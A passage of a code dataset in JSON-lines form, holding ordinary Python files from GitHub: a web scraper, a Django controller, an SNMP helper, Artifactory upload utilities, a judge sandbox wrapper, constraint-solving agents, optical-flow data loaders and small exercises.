\"*\" * 40)\n\n if scraper.has_scraped(postcode):\n print(\"------------skipping this postcode.-------------\")\n continue\n\n time.sleep(2)\n\n while True:\n try:\n print('\\n', \"-\" * 80)\n print(datetime.datetime.now())\n print(scraper.url)\n print(\"loading web page...\", end='')\n\n tic = time.time()\n tags = scraper.read_one_page()\n toc = time.time()\n print(\"(%f seconds used)\" % (toc - tic))\n\n if len(tags) == 0: # when no property found on this page, go for next postcode\n print(\"no property found.\")\n found_tag_qty = len(tags) + 20 * (scraper.page_num - 1)\n note_text = \"Postcode=%s, Scraped Pages=%d, Ad Found =%d, Saved=%d\" % \\\n (str(postcode), scraper.page_num, found_tag_qty, saved_tags_this_postcode)\n scraper.log_scrap(postcode, note_text)\n break\n\n # found at list one properties, save to db\n assert isinstance(tags[0], element.Tag)\n print(\"%d properties are found, saving to database...\" % len(tags))\n i = 0\n for tag in tags:\n if scraper.write_tag_db(tag):\n i += 1\n saved_tags_this_postcode += 1\n tic = time.time()\n print(\"%d are saved. (%f seconds used)\" % (i, (tic - toc)))\n\n if len(tags) < 20: # when less than 20 properties found on this page, go for next postcode\n found_tag_qty = len(tags) + 20 * (scraper.page_num - 1)\n note_text = \"Postcode=%s, Scraped Pages=%d, Ad Found =%d, Saved=%d\" % \\\n (str(postcode), scraper.page_num, found_tag_qty, saved_tags_this_postcode)\n scraper.log_scrap(postcode, note_text)\n break\n except Exception as err:\n print(err)\n if err_happens:\n err_happens += 1\n else:\n err_happens = 1\n\n if err_happens > 10:\n raise err\n time.sleep(5)\n else:\n err_happens = 0\n scraper.page_num += 1\n if scraper.page_num % 10 == 0:\n time.sleep(2)\n","repo_name":"lyso/scrape_realestate","sub_path":"scraper_mySQL.py","file_name":"scraper_mySQL.py","file_ext":"py","file_size_in_byte":8504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"40662241004","text":"import json\nfrom django.db import transaction\n\nfrom utilityservice.data.response.nwisefinlist import NWisefinList\nfrom utilityservice.data.response.nwisefinpage import NWisefinPage\nfrom utilityservice.service.nwisefinauthenticate import NWisefinAuthentication\nfrom utilityservice.service.nwisefinpermission import NWisefinPermission\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.decorators import api_view, authentication_classes, permission_classes\nfrom rest_framework.permissions import IsAuthenticated\nfrom masterservice.service.commodityproductmappingservice import CommodityProductMapService\n\n\n@csrf_exempt\n@api_view(['GET', 'POST'])\n@authentication_classes([NWisefinAuthentication])\n@permission_classes([IsAuthenticated, NWisefinPermission])\ndef cpmapping(request):\n if request.method == 'POST':\n scope = request.scope\n emp_id = request.employee_id\n print(emp_id)\n cpmap_data = json.loads(request.body)\n user_id = request.user.id\n # api_serv = ApiService()\n # emp = api_serv.get_emp_id(request, user_id)\n # emp_id = emp['id']\n # with transaction.atomic(using=DataBase.PRPO_DB):\n commodityProduct_service = CommodityProductMapService(scope)\n resp_obj = commodityProduct_service.cpmapping(cpmap_data, emp_id)\n response = HttpResponse(resp_obj.get(), content_type='application/json')\n return response\n elif request.method == 'GET':\n return fetch_cpmap_list(request)\n\ndef fetch_cpmap_list(request):\n scope = request.scope\n page = request.GET.get('page', 1)\n page = int(page)\n vys_page = NWisefinPage(page, 10)\n user_id = request.user.id\n emp_id = request.employee_id\n print(\"employee_id\",emp_id)\n # api_serv = ApiService()\n # emp = api_serv.get_emp_id(request, user_id)\n # emp_id = emp['id']\n commodityProduct_service = CommodityProductMapService(scope)\n response_obj = commodityProduct_service.fetch_cpmap_list(vys_page, emp_id, request)\n response = HttpResponse(response_obj.get(), content_type=\"application/json\")\n return response\n\n\n@api_view(['GET', 'DELETE'])\n@authentication_classes([NWisefinAuthentication])\n@permission_classes([IsAuthenticated, NWisefinPermission])\ndef fetch_cpmapping(request, cpmap_id):\n if request.method == 'GET':\n scope=request.scope\n commodityProduct_service = CommodityProductMapService(scope)\n resp_obj = commodityProduct_service.fetch_cpmap(cpmap_id, request)\n response = HttpResponse(resp_obj.get(), content_type=\"application/json\")\n return response\n elif request.method == 'DELETE':\n return delete_cpmap(request, cpmap_id)\n\ndef delete_cpmap(request, cpmap_id):\n scope=request.scope\n user_id = request.user.id\n emp_id = request.employee_id\n # api_serv = ApiService()\n # emp = api_serv.get_emp_id(request, user_id)\n # emp_id = emp['id']\n commodityProduct_service = CommodityProductMapService(scope)\n resp_obj = commodityProduct_service.delete_cpmap(cpmap_id, emp_id)\n response = HttpResponse(resp_obj.get(), content_type=\"application/json\")\n return response\n\n@api_view(['GET'])\n@authentication_classes([NWisefinAuthentication])\n@permission_classes([IsAuthenticated, NWisefinPermission])\ndef fetch_cpmap(request, commodity_id):\n scope=request.scope\n user_id = request.user.id\n emp_id = request.employee_id\n # api_serv = ApiService()\n # emp = api_serv.get_emp_id(request, user_id)\n # emp_id = emp['id']\n commodityProduct_service = CommodityProductMapService(scope)\n resp_obj = commodityProduct_service.fetch_CommodityProductMap(commodity_id, emp_id, request)\n response = HttpResponse(resp_obj.get(), content_type=\"application/json\")\n return response\n\n\n@api_view(['GET'])\n@authentication_classes([NWisefinAuthentication])\n@permission_classes([IsAuthenticated, NWisefinPermission])\ndef commodity_productsearch(request, product_id):\n scope=request.scope\n query = request.GET.get('query')\n commodityProduct_service = CommodityProductMapService(scope)\n resp_obj = commodityProduct_service.commodity_productsearch(product_id, query, request)\n response = HttpResponse(resp_obj, content_type=\"application/json\")\n return response\n\n\n@csrf_exempt\n@api_view(['POST'])\n@authentication_classes([NWisefinAuthentication])\n@permission_classes([IsAuthenticated, NWisefinPermission])\ndef cpmapping_code(request):\n scope=request.scope\n cpmapping_data = json.loads(request.body)\n user_id = request.user.id\n emp_id = request.employee_id\n # api_serv = ApiService()\n # emp = api_serv.get_emp_id(request, user_id)\n # emp_id = emp['id']\n commodityProduct_service = CommodityProductMapService(scope)\n resp_obj = commodityProduct_service.cpmapping_code(cpmapping_data, emp_id, request)\n response = HttpResponse(resp_obj.get(), content_type='application/json')\n return response\n\n\n@csrf_exempt\n@api_view(['GET'])\n@authentication_classes([NWisefinAuthentication])\n@permission_classes([IsAuthenticated, NWisefinPermission])\ndef commodity_product(request):\n scope=request.scope\n commodity_id = request.GET.get('commodity_id', None)\n category = request.GET.get('category')\n name = request.GET.get('name')\n page = request.GET.get('page', 1)\n page = int(page)\n vys_page = NWisefinPage(page, 10)\n commodityProduct_service = CommodityProductMapService(scope)\n resp_obj = commodityProduct_service.commodity_product(commodity_id, name, category, vys_page, request)\n response = HttpResponse(resp_obj.get(), content_type=\"application/json\")\n return response","repo_name":"Dhivyadharshinin/crm-test","sub_path":"wisefin/masterservice/controller/commodityproductmappingcontroller.py","file_name":"commodityproductmappingcontroller.py","file_ext":"py","file_size_in_byte":5651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21559485691","text":"queue = []\r\nlst = list(input())\r\nresult = 0\r\nval = 1\r\nfor i in range(len(lst)):\r\n a = lst[i]\r\n\r\n if a == '(':\r\n val *= 2\r\n queue.append(a)\r\n elif a == '[':\r\n val *= 3\r\n queue.append(a)\r\n \r\n elif a == ')':\r\n if not queue or queue[-1] != '(':\r\n result = 0\r\n break\r\n if lst[i-1] == '(':\r\n result += val \r\n queue.pop()\r\n val //= 2 \r\n\r\n elif a == ']':\r\n if not queue or queue[-1] != '[':\r\n result = 0\r\n break\r\n if lst[i-1] == '[':\r\n result += val \r\n queue.pop()\r\n val //= 3\r\n\r\nif queue:\r\n result = 0\r\nprint(result)","repo_name":"pjuju/algorithm-restudy","sub_path":"백준/Silver/2504. 괄호의 값/괄호의 값.py","file_name":"괄호의 값.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71905289522","text":"#!/usr/bin/python3\n# cython: language_level=3\n\n\"\"\"\nAuthor - Adam Asay\nCompany - INVITE Networks\n\nDescription:\n\"\"\"\n\nfrom pysnmp.hlapi import *\n\n\nclass MerakiSNMP:\n \"\"\"\n Used to pull Meraki Details using SNMP\n \"\"\"\n\n def __init__(self, user, auth, priv, logging=None):\n \"\"\"\n :param user: Username\n :param auth: Auth\n :param priv: Priv\n \"\"\"\n\n self.__user = user\n self.__auth = auth\n self.__priv = priv\n self.__logging = logging\n\n def snmp_get(self, oid):\n \"\"\"\n Returns the result of a snmp query\n :param oid: mib\n :return:\n \"\"\"\n\n errorIndication, errorStatus, errorIndex, varBinds = next(\n getCmd(SnmpEngine(),\n UsmUserData(self.__user, self.__auth, self.__priv),\n UdpTransportTarget(('snmp.meraki.com', 16100)),\n ContextData(),\n ObjectType(ObjectIdentity(oid)))\n )\n\n if errorIndication:\n print(errorIndication)\n\n elif errorStatus:\n print('%s at %s' % (errorStatus.prettyPrint(),\n errorIndex and varBinds[int(errorIndex) - 1][0] or '?'))\n else:\n for varBind in varBinds:\n return varBind[1]\n\n def get_modem_status(self, mac):\n \"\"\"\n Returns the status of the LTE modem\n :param mac: MAC address of the device\n :return: String\n \"\"\"\n\n oid_prefix = \"1.3.6.1.4.1.29671.1.1.4.1.14\"\n oid = \"{}.{}\".format(oid_prefix, self.mac_to_decimal(mac))\n\n return self.snmp_get(oid) or \"No Modem\"\n\n @staticmethod\n def mac_to_decimal(mac):\n \"\"\"\n Converts a mac address into decimal notation\n :param mac: mac address to convert\n :return: Converted String\n \"\"\"\n\n split = mac.split(\":\")\n converted = []\n\n for hex_value in split:\n converted.append(str(int(hex_value, 16)))\n\n return \".\".join(converted)","repo_name":"invite-networks/in-meraki","sub_path":"in_meraki/meraki_snmp.py","file_name":"meraki_snmp.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1755555129","text":"import turtle \nimport random\nwn = turtle.Screen() \nwn.bgcolor('lightblue')\n\nshelly = turtle.Turtle() \nspeedy = turtle.Turtle()\nshelly.color('red')\nspeedy.color('blue')\nshelly.shape('turtle')\nspeedy.shape('turtle')\n\nspeedy.up() \nshelly.up()\nspeedy.goto(-300,20)\nshelly.goto(-300,-20)\n\nfor x in range(100):\n speedySteps = random.randrange(1,10)\n shellySteps = random.randrange(1,10)\n speedy.forward(speedySteps)\n shelly.forward(shellySteps)\n \n \nwn.exitonclick()","repo_name":"CoderDojoTramore/python-beginner","sub_path":"beginning-python/sessions/lesson7/solution/turtle_racing2.py","file_name":"turtle_racing2.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24712084992","text":"import urllib3\nfrom bs4 import BeautifulSoup\nimport csv\nfrom datetime import datetime\nimport asyncio\n\nsite = 'https://www.yahoo.com/news/weather'\n\nasync def scrapper(url):\n http = urllib3.PoolManager()\n while True:\n page = http.request('GET', url)\n soup = BeautifulSoup(page.data, \"html.parser\")\n # Extract location info\n Location = soup.find('div', attrs={'class': 'location'})\n Country = Location.contents[1]\n Town = Location.contents[0]\n\n # Extract Weather info\n Temp = soup.find('div', attrs={'class': 'temperature'})\n Condition = Temp.contents[0]\n Range = Temp.contents[1]\n Avrg = Temp.contents[2]\n\n # Clean info\n clean = lambda x: x.text.strip()\n row = [clean(x) for x in [Country, Town, Condition, Range, Avrg]]\n row.append(datetime.now())\n row.append(url)\n\n # Save to file\n with open('weather-data.csv', 'a') as csv_file:\n writer = csv.writer(csv_file)\n writer.writerow(row)\n\n print(\"Data point acquired at: {}\".format(datetime.now()))\n await asyncio.sleep(30)\n\nasyncio.run(scrapper(site))\n","repo_name":"Omig12/Dummy_Weather_Scraper","sub_path":"scapper.py","file_name":"scapper.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40660965867","text":"\"\"\"\nContains generic functionality for interfacing with the Artifactory REST API\n\"\"\"\n\nimport os\nimport hashlib\nfrom typing import List, Tuple\nimport requests\nfrom libs import common_utils\n\nARTI_API = \"https://artifactory.viasat.com/artifactory/api/storage\"\nARTI_BASE_URL = \"https://artifactory.viasat.com/artifactory\"\nLIST_SUFFIX = \"?list\"\n\n\ndef put_file(auth: Tuple[str], src_path: str, dest_uri: str) -> str:\n \"\"\"\n Use the Artifactory REST API to deploy a file to a given path.\n\n Args:\n auth (tuple): Username and password tuple used to access Artifactory\n src_path (str): File system path to the file to be deployed.\n dest_uri (str): URI to the file (e.g. MyRepo/MyFile.txt)\n\n Returns:\n [str]: Return the download URI for the ressource if it has been\n correctly deployed\n \"\"\"\n with open(src_path, \"rb\") as file:\n md5sum = hashlib.md5(file.read()).hexdigest()\n file.seek(0)\n sha1sum = hashlib.sha1(file.read()).hexdigest()\n file.seek(0)\n sha256sum = hashlib.sha256(file.read()).hexdigest()\n file.seek(0)\n headers = {\n \"X-Requested-With\": \"Python requests\",\n \"content-type\": \"application/octet-stream\", # Generic content-type\n \"X-Checksum-Md5\": md5sum,\n \"X-Checksum-Sha1\": sha1sum,\n \"X-Checksum-Sha256\": sha256sum,\n }\n resp = requests.put(f\"{ARTI_BASE_URL}{dest_uri}\", auth=auth, data=file, headers=headers)\n try:\n if resp.status_code in (201, 200):\n return resp.json()\n raise RuntimeError\n except (TypeError, KeyError, ValueError, RuntimeError):\n common_utils.print_http_response(resp)\n raise RuntimeError(f\"Failed to PUT {dest_uri}\")\n\n\ndef get_artifact_list(auth: Tuple[str], path: str) -> List[str]:\n \"\"\"\n Gets list of files in artifactory folder\n\n Args:\n auth (tuple): Username and password tuple used to access Artifactory\n path (str): path within Artifactory repo and folder to scan\n (e.g streamon-pp-preprod/ops)\n\n Returns:\n list: list of strings with the file URIs found in the given repo/folder\n \"\"\"\n # Extract uri from each element of artifacts list and return as list of strings\n # ignore any folders encountered\n resp = requests.get(ARTI_API + path + LIST_SUFFIX + \"&listFolders=0\", auth=auth)\n resp.raise_for_status()\n raw_list = resp.json()[\"files\"]\n return [x[\"uri\"] for x in raw_list]\n\n\ndef download_file(auth: Tuple[str], uri: str):\n \"\"\"\n Download a file from Artifactory and save it to the disk.\n\n Args:\n auth (tuple): Username and password tuple used to access Artifactory\n uri (str): Path to the Artifactory repository and subfolders\n \"\"\"\n resp = requests.get(f\"{ARTI_BASE_URL}{uri}\", auth=auth)\n resp.raise_for_status()\n with open(os.path.basename(uri), \"wb\") as file:\n file.write(resp.content)\n","repo_name":"saiteja9872/infrastructure","sub_path":"python_scripts/libs/artifactory.py","file_name":"artifactory.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11097865946","text":"import asyncio\nfrom dataclasses import dataclass\nfrom datetime import timedelta\nimport logging\nfrom math import ceil\nfrom pathlib import Path\nfrom tempfile import mkdtemp\nfrom typing import Dict, List, Optional\n\nfrom pydantic import ByteSize\n\nfrom dto import JudgeStepDetails, Verdict\nimport linux\nfrom pipeline import Step, Workspace\n\n\nLOGGER = logging.getLogger(__name__)\n\n\n@dataclass(frozen=True)\nclass SandboxResult:\n verdict: Verdict\n details: Optional[JudgeStepDetails]\n log: str\n\n\nclass TmpfsWorkspacesContextManager:\n def __init__(self, workspaces: List[Workspace], prefix: str, base_dir: Path):\n self._prefix = prefix\n self._base_dir = base_dir\n self._workspaces: List[Workspace] = workspaces\n self._tmp_dir: Optional[Path] = None\n self._mount_points: Dict[str, Path] = {}\n\n def __enter__(self) -> Dict[str, Path]:\n self._tmp_dir = Path(mkdtemp(prefix=self._prefix, dir=self._base_dir))\n LOGGER.debug('Created temporary base dir: %s', self._tmp_dir)\n for workspace in self._workspaces:\n mount_point = self._tmp_dir / workspace.name\n mount_point.mkdir(mode=0o700)\n linux.mount(source='tmpfs', target=mount_point,\n fs_type='tmpfs', options=f'size={workspace.size}')\n LOGGER.debug('Mounted tmpfs with size=%s on %s', workspace.size, mount_point)\n self._mount_points[workspace.name] = mount_point\n return self._mount_points\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n for name, mount_point in self._mount_points.items():\n linux.umount(mount_point)\n mount_point.rmdir()\n LOGGER.debug('Unmounted and removed %s', mount_point)\n self._tmp_dir.rmdir()\n LOGGER.debug('Removed tmp dir %s', self._tmp_dir)\n\n\nclass Sandbox:\n def __init__(self, exe: Path, workspace_base: Path = Path('/dev/shm')):\n self._exe = exe\n self._workspace_base = workspace_base\n\n def prepare_workspaces(self, workspaces: List[Workspace]) -> TmpfsWorkspacesContextManager:\n return TmpfsWorkspacesContextManager(workspaces, prefix=f'archoj.', base_dir=self._workspace_base)\n\n async def run(self, step: Step) -> SandboxResult:\n def bind(bindings):\n for binding in bindings:\n src = Path(binding.src)\n if not src.exists():\n src.mkdir(parents=True)\n LOGGER.debug('mkdir -p %s', src)\n if binding.read_only:\n yield f'--bindmount_ro={src}:{binding.dest}'\n else:\n yield f'--bindmount={src}:{binding.dest}'\n\n stdin = Path(step.stdin)\n stdout = Path(step.stdout)\n stderr = Path(step.stderr)\n for directory in {stdin.parent, stdout.parent, stderr.parent}: # use set to deduplicate\n if not directory.exists():\n directory.mkdir(parents=True)\n LOGGER.debug('mkdir -p %s', directory)\n\n proc = await asyncio.create_subprocess_exec(\n self._exe,\n '--user=nobody',\n '--group=nobody',\n '--hostname=jail',\n '--report_fd=1',\n '--log_fd=2',\n f'--stdin={step.stdin}',\n f'--stdout={step.stdout}',\n f'--stderr={step.stderr}',\n '--cgroup_mem_parent=ARCHOJ',\n '--cgroup_pids_parent=ARCHOJ',\n '--cgroup_cpu_parent=ARCHOJ',\n '--cgroup_cpuacct_parent=ARCHOJ',\n f'--cgroup_mem_max={step.memory_limit}',\n f'--cgroup_pids_max={step.pids_limit}',\n '--cgroup_cpu_ms_per_sec=1000', # limit to single core (Hint: use 2000 to allow using dual cores)\n '--max_cpus=1', # also set cpu affinity\n '--nice_level=0',\n f'--time_limit={ceil(step.time_limit) + 1}',\n f'--chroot={step.rootfs}',\n f'--cwd={step.cwd}',\n *(f'--env={name}={value}' for name, value in step.envs.items()),\n *bind(step.bindings),\n '--',\n step.exec,\n *step.args,\n stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.PIPE\n )\n report, sandbox_log = await proc.communicate()\n try:\n runtime_detail = self.parse_report(report.decode())\n time_limit = timedelta(seconds=step.time_limit)\n if runtime_detail.memory > step.memory_limit:\n verdict = Verdict.MEMORY_LIMIT_EXCEEDED\n elif runtime_detail.cpuTime > time_limit or (\n runtime_detail.cpuTime <= time_limit and runtime_detail.wallTime > time_limit + timedelta(seconds=1)\n ):\n verdict = Verdict.TIME_LIMIT_EXCEEDED\n elif runtime_detail.exitCode != 0 or runtime_detail.exitSignal != 0:\n verdict = Verdict.ERROR\n else:\n verdict = Verdict.ACCEPTED\n except ValueError:\n verdict = Verdict.INTERNAL_ERROR\n runtime_detail = None\n return SandboxResult(verdict, runtime_detail, sandbox_log.decode())\n\n @staticmethod\n def parse_report(report: str) -> JudgeStepDetails:\n collected = {}\n try:\n for line in report.splitlines():\n pid_ignored, key, value = line.split()\n collected[key] = value\n return JudgeStepDetails(\n wallTime=timedelta(milliseconds=float(collected['alive_time_ms'])),\n cpuTime=timedelta(milliseconds=float(collected['cpu_time_ms'])),\n memory=ByteSize(collected['mem_usage_bytes']),\n exitCode=int(collected['exit_code']),\n exitSignal=int(collected['exit_signal'])\n )\n except Exception as e:\n LOGGER.exception('fail to parse: %s', report)\n raise ValueError from e\n","repo_name":"ArchOJ/archoj-judged","sub_path":"sandbox.py","file_name":"sandbox.py","file_ext":"py","file_size_in_byte":5904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38737330803","text":"from copy import deepcopy\nfrom itertools import product\nimport numpy as np\nimport random\n\n\nclass DFS:\n def __init__(self, board, figures_list):\n self.board = board\n self.figures_list = figures_list\n\n def check_constraints(self, target_coordinates):\n for idx, figure in enumerate(self.figures_list):\n if figure.attack(target_coordinates, self.board.shape[0]):\n return True\n return False\n\n def dfs(self, figure_idx):\n\n if figure_idx >= len(self.figures_list):\n return self.board\n\n for i, j in product(range(self.board.shape[0]), range(self.board.shape[0])):\n raw_coords = tuple(zip(*np.where(self.board == '0.0')))\n non_raw_coords = tuple(zip(*np.where(self.board != '0.0')))\n\n tmp_fig = self.figures_list[figure_idx]\n tmp_fig._coordinates = (i, j)\n\n if ((i, j) in raw_coords and not len(set(non_raw_coords) &\n set(tmp_fig.get_step_coordinates(self.board.shape[0]))\n )):\n is_possible_attack = self.check_constraints((i, j))\n\n if not is_possible_attack:\n self.board[i, j] = self.figures_list[figure_idx]._name\n self.figures_list[figure_idx]._coordinates = (i, j)\n\n coords = self.dfs(figure_idx + 1)\n if coords is not None:\n return coords\n\n return None\n\n def main(self):\n\n coords_res = self.dfs(0)\n\n coords_res = [[' ' if el == '0.0' else el for el in el1] for el1 in coords_res]\n\n board_gen = ('/').join([('').join([el if el != '0.0' else ' ' for el in row]) for row in coords_res])\n\n return board_gen\n\n\nclass Agent:\n def __init__(self, figure, priority, neighbor_list, domain, board):\n self.figure = figure\n self.priority = priority\n self.neighbors_list = deepcopy(neighbor_list)\n self.agent_domain = domain\n self.consistent = True\n self.constraints = []\n self.board = board\n\n def check_consistency(self):\n self.consistent = True\n for neighbor in self.neighbors_list:\n if (neighbor.figure.attack(self.figure._coordinates, self.board.shape[0])\n or self.figure._coordinates == neighbor.figure._coordinates):\n self.consistent = False\n\n def change_value(self):\n self.figure._coordinates = random.choice(self.agent_domain)\n\n def check_local_view(self):\n self.check_consistency()\n if not self.consistent:\n old_value = self.figure._coordinates\n for domain in self.agent_domain:\n self.figure._coordinates = domain\n self.check_consistency()\n if self.consistent:\n break\n if not self.consistent:\n for agents in self.neighbors_list:\n if agents.priority == self.priority - 1:\n master_agent = agents\n backtrack(master_agent)\n else:\n for agents in self.neighbors_list:\n send_handle_ok(agents)\n\n def handle_ok(self, agent):\n for neighbor in self.neighbors_list:\n if neighbor.figure._name == agent.figure._name:\n neighbor.figure._coordinates = agent.figure._coordinates\n neighbor.priority = agent.priority\n self.check_local_view()\n\n def handle_nogood(self, nogood_list):\n self.constraints.append(nogood_list)\n for agent_in_nogood in nogood_list:\n if any(neighbor_agent['name'] == agent_in_nogood[0] for neighbor_agent in self.neighbors_list):\n pass\n else:\n self.neighbors_list.append(\n {'name': agent_in_nogood[0], 'value': agent_in_nogood[1], 'priority': agent_in_nogood[2]})\n old_value = self.figure._coordinates\n self.check_local_view()\n if old_value != self.figure._coordinates:\n for agents in self.neighbors_list:\n send_handle_ok(agents)\n\n\ndef backtrack(master_agent):\n higher_priority_agents = []\n higher_domains = []\n for neighbor in master_agent.neighbors_list:\n if neighbor.priority < master_agent.priority:\n higher_priority_agents.append(neighbor)\n for agent in higher_priority_agents:\n higher_domains.append(agent.figure._coordinates)\n if master_agent.agent_domain == higher_domains:\n print(\"no_solution\")\n else:\n if not (master_agent.figure._coordinates in higher_domains):\n print(\"no_solution\")\n return 0\n while master_agent.figure._coordinates in higher_domains:\n master_agent.figure._coordinates = random.choice(master_agent.agent_domain)\n for agents in master_agent.neighbors_list:\n if agents.priority > master_agent.priority:\n send_handle_ok(master_agent)\n\n\ndef send_handle_ok(agent):\n for agents in agent.neighbors_list:\n if agents:\n if agents.priority > agent.priority:\n agents.handle_ok(agent)\n\n\nclass ABT:\n\n def __init__(self, board, figures_mapping):\n self.board = board\n self.figures_mapping = figures_mapping\n\n def abt(self, agent_list):\n all_domain = list(product(range(self.board.shape[0]), range(self.board.shape[0])))\n\n processed_agents = []\n for i, agent in enumerate(agent_list):\n agent.check_consistency()\n send_handle_ok(agent)\n processed_agents.append(agent)\n\n new_domain = list(set(all_domain) - set([ag.figure._coordinates for ag in processed_agents]))\n agent.agent_domain = new_domain\n\n new_neighbours = []\n for neighbour in agent.neighbors_list:\n neighbour.agent_domain = new_domain\n\n new_neighbours.append(neighbour)\n\n agent.neighbors_list = new_neighbours\n\n return agent_list\n\n def prepare_agents(self):\n all_domain = list(product(range(self.board.shape[0]), range(self.board.shape[0])))\n figures_mapping_last_changed_names = deepcopy(self.figures_mapping)\n\n for coords, figure in figures_mapping_last_changed_names.items():\n new_fig = deepcopy(figure)\n new_fig._name = '{}_{}'.format(figure._name, coords)\n figures_mapping_last_changed_names[coords] = new_fig\n\n agents = [Agent(figure, i + 1, [], all_domain, self.board)\n for i, figure in enumerate(figures_mapping_last_changed_names.values())\n ]\n\n for idx, agent in enumerate(agents):\n agent.neighbors_list.extend([ag for ag_idx, ag in enumerate(agents) if ag_idx != idx])\n\n return agents\n\n def main(self):\n agents = self.prepare_agents()\n\n agents = self.abt(agents)\n\n coords_sol = np.zeros((self.board.shape[0], self.board.shape[0])).astype(str)\n coords_sol = [[' ' if el1 == '0.0' else el1 for el1 in el] for el in coords_sol]\n\n for agent in agents:\n coords_sol[agent.figure._coordinates[0]][agent.figure._coordinates[1]] = agent.figure._name.split('_')[0]\n\n sol_gen = ('/').join([('').join([el if el != '0.0' else ' ' for el in row]) for row in coords_sol])\n\n return sol_gen\n","repo_name":"yaroslavklymchuk/multi-agent-systems","sub_path":"Second_Lab/algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":7430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21823560379","text":"import tensorflow as tf\nfrom .flyingchairs import FlyingChairs, FlyingChairsDD\nfrom .sintel import Sintel, SintelDD\nimport data.data_util as data_util\n\ndef input_fn(mode, params):\n if mode == \"train\":\n if params.dataset.lower() == \"flyingchairs\":\n if params.exist_or(\"dd_weight\"):\n data = FlyingChairsDD(params)\n else:\n data = FlyingChairs(params)\n data.initialize()\n im = data.get(\"training_data\")\n flow = data.get(\"training_flow\")\n\n if params.exist_or(\"dd_weight\"):\n tflow_fw = data.get(\"training_data_teacher_flow_fw\")\n tflow_bw = data.get(\"training_data_teacher_flow_bw\")\n dataset = tf.data.Dataset.zip((im, tflow_fw, tflow_bw, flow))\n keys = [[\"im\", \"teacher_flow_fw_full\", \"teacher_flow_bw_full\"], [\"flow\"]]\n flow_indices = [1,2,3]\n else:\n dataset = tf.data.Dataset.zip((im, flow))\n keys = [[\"im\"], [\"flow\"]]\n flow_indices = [1]\n\n elif params.dataset.lower() == \"sintel\":\n if params.exist_or(\"dd_weight\"):\n data = SintelDD(params)\n else:\n data = Sintel(params)\n data.initialize()\n\n clean_im = data.get(\"training_clean\")\n clean_flow = data.get(\"training_flow\")\n final_im = data.get(\"training_final\")\n final_flow = data.get(\"training_flow\")\n\n if params.exist_or(\"dd_weight\"):\n clean_tflow_fw = data.get(\"training_clean_teacher_flow_fw\")\n final_tflow_fw = data.get(\"training_final_teacher_flow_fw\")\n clean_tflow_bw = data.get(\"training_clean_teacher_flow_bw\")\n final_tflow_bw = data.get(\"training_final_teacher_flow_bw\")\n dataset_clean = tf.data.Dataset.zip((clean_im, clean_tflow_fw, clean_tflow_bw, clean_flow))\n dataset_final = tf.data.Dataset.zip((final_im, final_tflow_fw, final_tflow_bw, final_flow))\n dataset = dataset_clean.concatenate(dataset_final)\n keys = [[\"im\", \"teacher_flow_fw_full\", \"teacher_flow_bw_full\"], [\"flow\"]]\n flow_indices = [1,2,3]\n else:\n dataset_clean = tf.data.Dataset.zip((clean_im, clean_flow))\n dataset_final = tf.data.Dataset.zip((final_im, final_flow))\n\n dataset = dataset_clean.concatenate(dataset_final)\n keys = [[\"im\"], [\"flow\"]]\n flow_indices = [1]\n\n else:\n raise NotImplementedError\n\n augmented = augment(dataset, flow_indices, params)\n labeled = data_util.convert_feat_label_to_dict(augmented, keys)\n\n else:\n if params.dataset.lower() == \"flyingchairs\":\n data = FlyingChairs(params)\n data.initialize()\n im = data.get(\"testing_data\")\n flow = data.get(\"testing_flow\")\n dataset = tf.data.Dataset.zip((im, flow))\n keys = [[\"im\"], [\"flow\"]]\n flow_indices = [1]\n\n elif params.dataset.lower() == \"sintel\":\n data = Sintel(params)\n data.initialize()\n\n final_im = data.get(\"training_final\")\n final_flow = data.get(\"training_flow\")\n\n dataset_final = tf.data.Dataset.zip((final_im, final_flow))\n\n flow = data.get(\"training_flow\")\n dataset = dataset_final\n keys = [[\"im\"], [\"flow\"]]\n flow_indices = [1]\n else:\n raise NotImplementedError\n\n labeled = data_util.convert_feat_label_to_dict(dataset, keys)\n return labeled\n\ndef augment(dataset, flow_indices, params):\n dataset = data_util.rand_resize_multiple(dataset, flow_indices=flow_indices)\n dataset = data_util.rand_crop_multiple(dataset, params.input_size)\n dataset = data_util.rand_flip_multiple(dataset, flow_indices=flow_indices)\n dataset = data_util.rand_channel_swap_multiple(dataset, flow_indices=flow_indices)\n dataset = data_util.distort_color_multiple(dataset, skip_indices=flow_indices)\n return dataset\n","repo_name":"iwbn/unsupsimflow","sub_path":"data/flow_datasets.py","file_name":"flow_datasets.py","file_ext":"py","file_size_in_byte":4148,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"21338787483","text":"#! /usr/bin/env python3\n\nimport math\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass KNNRegression:\n def __init__(self, x, y, k=3):\n self.n_samples = len(x)\n self.n_attrbs = len(x[0])\n self.x, self.y, self.k = x, y, k\n\n def predict(self, sample):\n d = dict()\n for i in range(self.n_samples):\n _sum = 0\n for j in range(self.n_attrbs):\n _sum += math.pow(sample[j] - self.x[i][j], 2)\n d[i] = math.sqrt(_sum)\n k_neighbors = sorted(d, key=d.get)[:self.k]\n _sum = 